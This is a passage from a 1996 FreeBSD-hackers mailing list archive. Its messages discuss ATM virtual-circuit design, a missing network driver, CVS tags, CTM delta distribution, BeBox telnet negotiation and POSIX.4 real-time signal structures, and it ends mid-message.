[127.0.0.1]) by premise.CS.Berkeley.EDU (8.6.11/8.6.9) with ESMTP id JAA28578; Fri, 28 Jun 1996 09:49:26 -0700 Message-Id: <199606281649.JAA28578@premise.CS.Berkeley.EDU> X-Mailer: exmh version 1.6.7 5/3/96 To: "Ron G. Minnich" cc: hackers@freebsd.org Subject: Re: Frame relay and ATM support: virtual interface per vpi? In-reply-to: Your message of "Fri, 28 Jun 1996 11:45:14 EDT." From: bmah@cs.berkeley.edu (Bruce A. Mah) Reply-to: bmah@cs.berkeley.edu X-Face: g~c`.{#4q0"(V*b#g[i~rXgm*w;:nMfz%_RZLma)UgGN&=j`5vXoU^@n5v4:OO)c["!w)nD/!!~e4Sj7LiT'6*wZ83454H""lb{CC%T37O!!'S$S&D}sem7I[A 2V%N&+ Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 28 Jun 1996 09:49:24 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk "Ron G. Minnich" writes: > Here's the picture the way things are now, roughly: Using a file > descriptor, clients talk to a stream service provided by TCP. Kernel > uses fd to get info, then passes it to the socket layer. Socket layer > goes via protosw to tcp. TCP does its thing, using stored per-stream > info, drops to ip_output. ip_output finds the interface via route if > needed, passes mbufs to the interface. [snip] One comment here. It's my understanding that ip_output() can take a route pointer as an argument, so that a transport layer protocol (e.g. TCP) can pass down a cached route to be used. So if TCP were VC-aware, with the VIF-per-VC model, it could just pass down a (struct route *) for the correct VIF. A violation of layering, I know, but then so is a lot of this IP-over-ATM business. > Ok, what about ATM? well, there's a number of choices. I'll enumerate > the ones we have for MINI, which is basicallyh one more than we have > for everything else. > 1) Use tcp. Same as above. Kind of weird, because TCP is supporting > a multiple reliable byte stream model for applications, and using > a multiple unreliable byte stream model from the interface. > Doesn't sound > as weird as it starts to look when you start to jam the driver in. Well I guess the main reason it's so weird is that between TCP and ATM (both connection-oriented) you have this connectionless beastie called IP. So you end up with some replication of work (well, my XUNET driver did, anyways). > 2) VC access by some form of 'open("/dev/atm", ); and other magic. > application does writes and reads to FDs, which go to the interface. > Making this work is "interesting" on some interfaces. Making it not > impact TCP has got to somehow be more interesting. > 3) Direct access to a virtual interface. No OS involvement. Application > diddles CSRs directly. Application might even run TCP internally. > Now, if (1) were the only thing you want to do, you could probably hide > the VC as part of the routing table (Anyone? am i nuts?). If you are, I am. See first comment. :-) > If you want to > do (2) as well, you could always use something like DLPI (AGGGGGHHHHH! > NO! NO! NO!). But (3) sort of breaks the rules. Applications can use > that interface any way they want. They can run TCP half the time, or > not. They may send MPEG. Either way, the OS has no way of knowing what's > happening, other than being able to see the raw amount of data being > sent. Which, by implication, means that the kernel TCP also much less > knowledge of what's really happening on the interface. But what kind of knowledge does the kernel TCP have to have, other than to make sure that it doesn't try to grab VCs that are already in use? So I guess you have to have some kind of arbitration for the virtual interfaces. > So the choices for ATM VC management: > 1) as added info for routes (wouldn't this cover the TCP case?). > fails for mini in both indirect and direct VC access modes. > 2) DLPI-like mode. But then you need programs or 'sysctl' to traverse the > kernel structures. DLPI-like interfaces make me ill. > 3) interface-per-active VC. This was my first cut on IRIX. After dennis' > comments I'm rethinking it. > 4) /dev/ node per active VC. or some sort of devfs entry. This would > be nice in many ways. > 5) /proc-like setup. Sort of like the plan9 'net' file system. This may > be the way to go. I like it more and more, compared to the alternative. > Good paper on this in the plan9 archives. 6) New address/protocol family. You open up a stream socket for your ATM VC. This is basically what XUNET did, using a user-level library for communication with a signalling process. Is this too close to #2 above? 7) Bury all of the ATM VC selection, multiplexing, etc. in the device driver. Application (as well as everything at IP and above) are totally oblivious to virtual circuits. Note that if you want to build a *router*, which needs to manage VCs for flows that it is not the endpoint for, this is the only way to go. Please tell me if I'm confusing the issues here...I haven't had my morning dose of caffeine yet. :-) Bruce. From owner-freebsd-hackers Fri Jun 28 09:55:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA13669 for hackers-outgoing; Fri, 28 Jun 1996 09:55:06 -0700 (PDT) Received: from wireless.Stanford.EDU (wireless.Stanford.EDU [36.10.0.102]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id JAA13664; Fri, 28 Jun 1996 09:55:04 -0700 (PDT) Received: (from akyol@localhost) by wireless.Stanford.EDU (8.7.5/8.7.1) id JAA19715; Fri, 28 Jun 1996 09:55:02 -0700 (PDT) Date: Fri, 28 Jun 1996 09:55:02 -0700 (PDT) From: Bora Akyol To: dwhite@uoregon.edu cc: hackers@freebsd.org, questions@freebsd.org, hubbard@freebsd.org Subject: DE Driver on 2.2 SNAP (Hello , Anybody there!!) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi The DE 21x4x driver is NOT in the generic kernel that is on the boot.flp for 2.2 SNAP. I boot with the 2.1 SNAP and my DEC card is immediately recognized and with 2.2 SNAP it is not recognized. This leads me to believe that the driver is somehow not in the kernel. Bora ------------------------------------------------------------ Bora Aydin Akyol akyol@leland.stanford.edu ------------------------------------------------------------ From owner-freebsd-hackers Fri Jun 28 11:17:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA19283 for hackers-outgoing; Fri, 28 Jun 1996 11:17:49 -0700 (PDT) Received: from relay-4.mail.demon.net (relay-4.mail.demon.net [158.152.1.108]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA19270 for ; Fri, 28 Jun 1996 11:17:46 -0700 (PDT) Received: from post.demon.co.uk ([158.152.1.72]) by relay-4.mail.demon.net id az11518; 28 Jun 96 17:50 GMT Received: from jraynard.demon.co.uk ([158.152.42.77]) by relay-3.mail.demon.net id ac26215; 28 Jun 96 18:14 +0100 Received: (from fhackers@localhost) by jraynard.demon.co.uk (8.6.12/8.6.12) id BAA09787; Fri, 28 Jun 1996 01:49:59 GMT Date: Fri, 28 Jun 1996 01:49:59 GMT Message-Id: <199606280149.BAA09787@jraynard.demon.co.uk> From: James Raynard To: alk@think.com CC: jkh@time.cdrom.com, hackers@freebsd.org In-reply-to: <199606272030.PAA26920@compound.Think.COM> (message from Tony Kimball on Thu, 27 Jun 1996 15:30:57 -0500 (CDT)) Subject: Re: longstanding, woeful inadeqacy Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > : > Easier in what sense? It is essentially impossible to debug anything > : > that forks, since by the time you can attach to it, it has gone > : > veering wildly out of control. > : > : Not if you put a sleep loop in it > > And if I don't have source code? Or a compiler? > Or if the insertion of the sleep loop fixes the compiler bug > which I was trying to find in the first place? UT(K)SL and move the sleep loop into the exec() system call? > Or if the sleep loop prevents the process from meeting a > synchronization constraint which makes it impossible to > debug the original execution profile? Hmm. Maybe you could replace the exec()'d program with a wrapper that ktrace's it... Seriously though, it would be nice to get something like strace working for these cases, but /proc doesn't support features like system call tracing. -- James Raynard, Edinburgh, Scotland james@jraynard.demon.co.uk From owner-freebsd-hackers Fri Jun 28 11:47:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA20851 for hackers-outgoing; Fri, 28 Jun 1996 11:47:08 -0700 (PDT) Received: from kadath.zeitgeist.net (zeitgeist.net [140.174.153.61]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA20845 for ; Fri, 28 Jun 1996 11:47:01 -0700 (PDT) From: ggilliss@merde.dis.org Received: from dialup-202.dis.org (dialup-202.dis.org [206.14.78.202]) by kadath.zeitgeist.net (8.6.12/8.6.10) with SMTP id LAA00520 for ; Fri, 28 Jun 1996 11:46:03 -0700 Message-Id: <199606281846.LAA00520@kadath.zeitgeist.net> X-Sender: ggilliss@merde.dis.org X-Mailer: Windows Eudora Version 1.4.4 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 28 Jun 1996 11:47:52 -0700 To: hackers@FreeBSD.org Subject: Install packages and broken pipe message Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Please tell me what the work around for the following problem is (if others have already experienced it). While su'ed to root, mount -rt cd9660 /dev/cd0a /cdrom. Type /stand/sysinstall. Select option 9 to do post install configuration and press Enter. Select option 4 to select the installation media and press Enter. Select option 3 to use the /cdrom mount point and press Enter. Type in "/cdrom" and press Enter. Select option 8 to install packages. "Got INDEX..." message appears. Go to shells, select bash and press Enter. This works regardless of which packages or how many are selected, although the output differs slightly. Select Cancel from the Package Selection dialog. With a package that has a long description line, some of the package names display incorrectly. Press OK. An information dialog box "Adding packages/All/package.name" appears. It is overwritten by the message "Broken pipe" and the script (?) exits. Command echo no longer works after this (I cannot see what is typed). Thanks in advance. From owner-freebsd-hackers Fri Jun 28 12:12:14 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA22403 for hackers-outgoing; Fri, 28 Jun 1996 12:12:14 -0700 (PDT) Received: from whistle.com (s205m131.whistle.com [207.76.205.131]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA22397 for ; Fri, 28 Jun 1996 12:12:06 -0700 (PDT) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id LAA07349; Thu, 27 Jun 1996 11:14:37 -0700 (PDT) Received: from bubba.whistle.com(207.76.205.7) by whistle.com via smap (V1.3) id sma007347; Thu Jun 27 11:14:24 1996 Received: (from archie@localhost) by bubba.whistle.com (8.6.12/8.6.12) id LAA03336; Thu, 27 Jun 1996 11:13:09 -0700 From: Archie Cobbs Message-Id: <199606271813.LAA03336@bubba.whistle.com> Subject: Re: sup tags again To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Thu, 27 Jun 1996 11:13:09 -0700 (PDT) Cc: alexis@ww.net, freebsd-hackers@FreeBSD.org In-Reply-To: <645.835857926@time.cdrom.com> from "Jordan K. Hubbard" at Jun 26, 96 11:45:26 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Anyone please tell me the last time: how do I know which > > tag belongs to which release? I.e. how do I find a tag for a specific > > snap for example? > > I'm afraid we don't tag for SNAPs. The most relevant tags you'll > find are RELENG_2_1_0 (-stable) and HEAD (-current). ...of course if you know the date of the SNAP you can checkout the source as of that date with "cvs checkout -D ..." -archie ___________________________________________________________________________ Archie L. Cobbs, archie@whistle.com * Whistle Communications Corporation From owner-freebsd-hackers Fri Jun 28 12:17:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA22652 for hackers-outgoing; Fri, 28 Jun 1996 12:17:20 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA22644; Fri, 28 Jun 1996 12:17:15 -0700 (PDT) Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-2) with ESMTP id UAA06742; Fri, 28 Jun 1996 20:06:54 +0100 (BST) To: Warner Losh cc: Poul-Henning Kamp , James Raynard , hackers@FreeBSD.ORG From: "Gary Palmer" Subject: Re: cvs-cur-2135 In-reply-to: Your message of "Thu, 27 Jun 1996 22:11:01 MDT." <199606280411.WAA17865@rover.village.org> Date: Fri, 28 Jun 1996 20:06:54 +0100 Message-ID: <6739.835988814@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Warner Losh wrote in message ID <199606280411.WAA17865@rover.village.org>: > : Perhaps a rate limited version of the mail lists should be made for > : those who want that facility? I would say that not EVERYONE wants to > : do that. I know that I'd still prefer CTM over SUP, even if I had a > : half-way decent net.link... > > Hmmm. I'd think that splitting the large CTM deltas into smaller > parts wouldn't be a horrible idea as well. I know they are split into > parts for mailing, but if part 27 of 40 buggers up, then you have to > get all 40 parts again via FTP. Combined with a rate limited list > (ctm-cur-slow) this would solve the problem. Just a thought. This means keeping two copies of the delta around (effectively). Why not just offer a mail robot to do this? With the change that I have nearly finished for ctm_smail to allow the slow queue option, such a robot would be (nearly) trivial to write. Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Fri Jun 28 12:23:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA23112 for hackers-outgoing; Fri, 28 Jun 1996 12:23:06 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA23058; Fri, 28 Jun 1996 12:22:49 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with SMTP id NAA21442; Fri, 28 Jun 1996 13:22:31 -0600 (MDT) Message-Id: <199606281922.NAA21442@rover.village.org> To: "Gary Palmer" Subject: Re: cvs-cur-2135 Cc: Poul-Henning Kamp , James Raynard , hackers@FreeBSD.ORG In-reply-to: Your message of Fri, 28 Jun 1996 20:06:54 BST Date: Fri, 28 Jun 1996 13:22:31 -0600 From: Warner Losh Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk : This means keeping two copies of the delta around (effectively). Why : not just offer a mail robot to do this? With the change that I have : nearly finished for ctm_smail to allow the slow queue option, such a : robot would be (nearly) trivial to write. I'm not sure I follow why you'd need two copies of the deltas around. You'd create teh deltas as you do now. Then, before sending them off you'd shop them up into smaller bits at file boundries. Then they would go out like that. However, thinking about that, it strikes me as too dangerous. If someone did a checkout on the partial delta, then things could be very broken. So forget that I said anything :-) I'm not sure how having a mail robot would solve this problem unless you could ask it to retransmit part 27 of 40 because that somehow got lost/damaged in transit. Warner From owner-freebsd-hackers Fri Jun 28 12:38:30 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA24088 for hackers-outgoing; Fri, 28 Jun 1996 12:38:30 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA24082 for ; Fri, 28 Jun 1996 12:38:23 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with SMTP id NAA21524 for ; Fri, 28 Jun 1996 13:38:21 -0600 (MDT) Message-Id: <199606281938.NAA21524@rover.village.org> To: hackers@freebsd.org Subject: Thorsten Lockert: CVS : cvs.openbsd.org: src Date: Fri, 28 Jun 1996 13:38:20 -0600 From: Warner Losh Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Saw this go by on the OpenBSD source list. Is there interest in integrating this into FreeBSD? I do not know who Dave Richards is, or where Thorsten Lockert picked it up. Seems to be worth it, if the numbers are correct. Warner ------- Forwarded Message Date: Sat, 22 Jun 1996 15:52:57 -0600 (MDT) From: Thorsten Lockert Message-Id: <199606222152.PAA05366@cvs.openbsd.org> To: source-changes@cvs.openbsd.org Subject: CVS : cvs.openbsd.org: src Sender: owner-source-changes@openbsd.org Precedence: bulk CVSROOT: /cvs Module name: src Changes by: tholo@cvs.openbsd.org 96/06/22 15:52:54 Modified files: sys/arch/i386/conf: files.i386 sys/arch/i386/i386: genassym.c Added files: sys/arch/i386/i386: in_cksum.s Removed files: sys/arch/i386/i386: in_cksum.c Log message: Assembly version of in_cksum by Dave Richards. >20% faster in the usual cases, up to 62% faster in other cases. ------- End of Forwarded Message From owner-freebsd-hackers Fri Jun 28 12:49:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA24621 for hackers-outgoing; Fri, 28 Jun 1996 12:49:05 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA24608; Fri, 28 Jun 1996 12:48:48 -0700 (PDT) Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-2) with ESMTP id UAA07052; Fri, 28 Jun 1996 20:48:00 +0100 (BST) To: Warner Losh cc: Poul-Henning Kamp , James Raynard , hackers@FreeBSD.ORG From: "Gary Palmer" Subject: Re: cvs-cur-2135 In-reply-to: Your message of "Fri, 28 Jun 1996 13:22:31 MDT." <199606281922.NAA21442@rover.village.org> Date: Fri, 28 Jun 1996 20:47:59 +0100 Message-ID: <7049.835991279@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Warner Losh wrote in message ID <199606281922.NAA21442@rover.village.org>: > However, thinking about that, it strikes me as too dangerous. If > someone did a checkout on the partial delta, then things could be very > broken. So forget that I said anything :-) You said something? :-) > I'm not sure how having a mail robot would solve this problem unless > you could ask it to retransmit part 27 of 40 because that somehow got > lost/damaged in transit. 'cos the robot would have the ability to split it like it was originally and only resend the missing bit(s) if you ask nicely... Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Fri Jun 28 13:27:38 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA27086 for hackers-outgoing; Fri, 28 Jun 1996 13:27:38 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA27080 for ; Fri, 28 Jun 1996 13:27:30 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA08471; Fri, 28 Jun 1996 13:25:12 -0700 From: Terry Lambert Message-Id: <199606282025.NAA08471@phaeton.artisoft.com> Subject: Re: --) To: stefan@Promo.DE (Stefan Bethke) Date: Fri, 28 Jun 1996 13:25:11 -0700 (MST) Cc: freebsd-hackers@freebsd.org In-Reply-To: from "Stefan Bethke" at Jun 28, 96 02:13:19 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > From the german computer magazine UNIXopen, july 96, in an article about = > Linux kernel issues (actually the first line): > > "Memory management is one of the strong points of Linux." >From the DOS/Windows95 perspective, memory management is one of the strong points of Nintendo cartridges. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Jun 28 13:30:09 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA27377 for hackers-outgoing; Fri, 28 Jun 1996 13:30:09 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA27333 for ; Fri, 28 Jun 1996 13:29:58 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA08487; Fri, 28 Jun 1996 13:28:16 -0700 From: Terry Lambert Message-Id: <199606282028.NAA08487@phaeton.artisoft.com> Subject: Re: BeBox->FreeBSD telnet trouble.. To: jehamby@lightside.com (Jake Hamby) Date: Fri, 28 Jun 1996 13:28:16 -0700 (MST) Cc: hackers@FreeBSD.org, hamby@aris.jpl.nasa.gov In-Reply-To: from "Jake Hamby" at Jun 28, 96 09:43:38 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > I just received my BeBox (http://www.be.com/) yesterday and it is too > cool! Will be porting lots of software to it in the future, hopefully. > Anyway, my problem is minor, and FreeBSD related. The BeBox comes with a > simple GUI VT emulator, and a command-line (it uses the bash shell) > telnet program. When I telnet (via Ethernet) to my FreeBSD box, I find > that I need to press ^J instead of Enter to end lines. Obviously there is > some option negotiation the BeBox is not doing correctly. Can any network > gurus provide me any information on which option(s) could cause this kind > of problem, so I can maybe fix it myself by fiddling the telnet > accept/deny negotiations and then complain to Be? Thanks in advance! Telnet is incorrectly negotiating line mode; because it is supported is not a reason to negotiate it, unless your caccnonical processing is implemented at the correct level (the BeOS caccnoical processing is at the wrong level). You will need to repair the telnet client. Point them at the BSD sources (origincally from Cray) for telnet. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Jun 28 13:30:29 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA27403 for hackers-outgoing; Fri, 28 Jun 1996 13:30:29 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA27388 for ; Fri, 28 Jun 1996 13:30:15 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id NAA05167; Fri, 28 Jun 1996 13:23:30 -0700 (PDT) To: Archie Cobbs cc: alexis@ww.net, freebsd-hackers@FreeBSD.org Subject: Re: sup tags again In-reply-to: Your message of "Thu, 27 Jun 1996 11:13:09 PDT." <199606271813.LAA03336@bubba.whistle.com> Date: Fri, 28 Jun 1996 13:23:30 -0700 Message-ID: <5164.835993410@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > I'm afraid we don't tag for SNAPs. The most relevant tags you'll > > find are RELENG_2_1_0 (-stable) and HEAD (-current). > > ...of course if you know the date of the SNAP you can checkout the source > as of that date with "cvs checkout -D ..." Only if it's a 2.2 snap. 2.1-stable is on a branch, and you can't mix the date spec with a branch tag. :-( Jordan From owner-freebsd-hackers Fri Jun 28 13:33:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA27821 for hackers-outgoing; Fri, 28 Jun 1996 13:33:13 -0700 (PDT) Received: from whistle.com (s205m131.whistle.com [207.76.205.131]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA27803 for ; Fri, 28 Jun 1996 13:33:06 -0700 (PDT) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id NAA14253; Fri, 28 Jun 1996 13:32:34 -0700 (PDT) Received: from bubba.whistle.com(207.76.205.7) by whistle.com via smap (V1.3) id sma014247; Fri Jun 28 13:32:07 1996 Received: (from archie@localhost) by bubba.whistle.com (8.6.12/8.6.12) id NAA15668; Fri, 28 Jun 1996 13:32:06 -0700 From: Archie Cobbs Message-Id: <199606282032.NAA15668@bubba.whistle.com> Subject: Re: sup tags again To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Fri, 28 Jun 1996 13:32:06 -0700 (PDT) Cc: archie@whistle.com, alexis@ww.net, freebsd-hackers@FreeBSD.org In-Reply-To: <5164.835993410@time.cdrom.com> from "Jordan K. Hubbard" at Jun 28, 96 01:23:30 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > > I'm afraid we don't tag for SNAPs. The most relevant tags you'll > > > find are RELENG_2_1_0 (-stable) and HEAD (-current). > > > > ...of course if you know the date of the SNAP you can checkout the source > > as of that date with "cvs checkout -D ..." > > Only if it's a 2.2 snap. 2.1-stable is on a branch, and you can't mix > the date spec with a branch tag. :-( > > Jordan Really? There's no reason why that shouldn't be possible... probably wouldn't be hard to fix either... -Archie ___________________________________________________________________________ Archie L. Cobbs, archie@whistle.com * Whistle Communications Corporation From owner-freebsd-hackers Fri Jun 28 14:58:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA02396 for hackers-outgoing; Fri, 28 Jun 1996 14:58:07 -0700 (PDT) Received: from jau.csc.fi (root@jau.csc.fi [193.166.1.196]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA02380 for ; Fri, 28 Jun 1996 14:57:39 -0700 (PDT) Received: (from jau@localhost) by jau.csc.fi (8.7.5/8.6.12+CSC-2.1) id TAA22857; Fri, 28 Jun 1996 19:32:05 +0300 (EET DST) From: Jukka Ukkonen Message-Id: <199606281632.TAA22857@jau.csc.fi> Subject: Re: POSIX.4 signals + other POSIX.4 stuff to FreeBSD... To: terry@lambert.org (Terry Lambert) Date: Fri, 28 Jun 1996 19:32:04 +0300 (EET DST) Cc: bde@zeta.org.au, hackers@freebsd.com In-Reply-To: <199606271833.LAA05478@phaeton.artisoft.com> from "Terry Lambert" at Jun 27, 96 11:33:41 am Latin-Date: Vineri XXVIII Iunie a.d. MCMXCVI Organization: Private person Phone: +358-0-6215280 (home) Content-Conversion: prohibited X-Mailer: ELM [version 2.4 PL25+pgp] MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Quoting Terry Lambert: > > Use the extended structure size only in the extension interfaces, and > assume defaults for the non-extension interfaces (you will have to > do this as part of the ABI mapping in any case). I did something > similar to this for the fcntl() calls for NFS server locking, which > requires system and process ID's for the proxy. Eh? As I already said, the new and the old call interface would have to co-exist for some time, so that the old programs using the old interface would not break. (This might prove out to be a slippery road to take, but maybe it would be possible. I don't know about the shared libraries though.) There are only three completely new system calls or functions defined by POSIX.4 for the signals. extern int sigqueue __P((pid_t, int, const union sigval)); extern int sigwaitinfo __P((const sigset_t *, siginfo_t *)); extern int sigtimedwait __P((const sigset_t *, siginfo_t *, const struct timespec *)); The new or modified data structures in POSIX.4 are as follows... union sigval { int sival_int; void *sival_ptr; /* Remember to cast this correctly! */ }; struct sigevent { int sigev_notify; /* SIGEV_SIGNAL or SIGEV_NONE */ int sigev_signo; /* signal to raise for this event */ union sigval sigev_value; /* queue the signal with this value */ }; struct siginfo { int si_signo; /* redundant signal number */ int si_code; /* facility that raised this signal */ union sigval si_value; /* value that was queued with signal */ }; typedef struct siginfo siginfo_t; #define SIGEV_NONE 0 /* don't notify */ #define SIGEV_SIGNAL 1 /* use signals for notification */ #define SIGEV_THREAD 2 /* from POSIX.4a - the threads */ #define SI_USER 0x01 /* sent without data by application code */ #define SI_QUEUE 0x02 /* sent with data by application code */ #define SI_TIMER 0x04 /* raised by an expired timer */ #define SI_ASYNCIO 0x08 /* raised by completed async. I/O */ #define SI_MESGQ 0x10 /* data waiting in a message queue */ /* * Signal vector "template" used in sigaction call. */ struct sigaction { union { /* * These two could be separate fields quite as well. * * Either a simple POSIX.1 signal handler * with additional BSD style parameters ... */ void (*sa_handler) _P((int, ...)); /* * ... or a more complex POSIX.4 signal handler */ void (*sa_sigaction) _P((int, siginfo_t *, void *)); }; sigset_t sa_mask; /* signal mask to apply */ int sa_flags; /* see signal options below */ }; POSIX.4 also adds the flag SA_SIGINFO which enables the real-time queueing signal behaviour. When SA_SIGINFO is set the handler has to be able to accept the new sa_sigaction type parameter list. Otherwise the old sa_handler type parameter list should be used. All the rest of the signals system is just as before and the old call interface is expected to be able to operate also with the new RT-signals. These are just kind of added USRxx signals. The extended functionality of the signals system call interface is very much a distinct idea. The increased number of user definable signals is there just to make useful the new more complex functionality of the call interface. Though Bruce Evans seems not to share my opinion, I suppose using sigismember() etc. macros/functions within the kernel would not be very much a resource hog, or what do you think of the next macro? #define sigismember(set, sig) (set[((unsigned) (sig)) >> 5] \ & (1 << ((sig) & 0x1F))) This does not really require too many extra machine instructions when used instead of the simple bitwise and/or logic. This already accounts for the ability to handle an extended signal set. Cheers, // jau ------ / Jukka A. Ukkonen, FUNET / Centre for Scientific Computing /__ M.Sc. (sw-eng & cs) Tel: (Home&Fax) +358-0-6215280 / Internet: ukkonen@csc.fi (Work) +358-0-4573208 v Internet: jau@funet.fi (Mobile) +358-400-606671 From owner-freebsd-hackers Fri Jun 28 15:21:58 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA03700 for hackers-outgoing; Fri, 28 Jun 1996 15:21:58 -0700 (PDT) Received: from jau.csc.fi (jau.csc.fi [193.166.1.196]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id PAA03689 for ; Fri, 28 Jun 1996 15:21:52 -0700 (PDT) Received: (from jau@localhost) by jau.csc.fi (8.7.5/8.6.12+CSC-2.1) id BAA23320 for hackers@freebsd.com; Sat, 29 Jun 1996 01:19:59 +0300 (EET DST) From: Jukka Ukkonen Message-Id: <199606282219.BAA23320@jau.csc.fi> Subject: physical memory addresses & memory locking... To: hackers@freebsd.com Date: Sat, 29 Jun 1996 01:19:58 +0300 (EET DST) Latin-Date: Simbata XXIX Iunie a.d. MCMXCVI Organization: Private person Phone: +358-0-6215280 (home) Content-Conversion: prohibited X-Mailer: ELM [version 2.4 PL25+pgp] MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello! In a previous message in which I primarily asked about something else I tried also to ask the following... > What is the most reliable way to select a common memory address > inside the 4.4BSD kernel for an object which has been mmap()ed > as shared by multiple processes? I would like to make pick such > an address so that any processes sharing the same object could > be put sleeping on that very address until some other process > sends a "go ahead" message to them. Maybe the macro vtophys() > from machine/pmap.h would be OK? > Oh yes, you may have guessed it. I am thinking 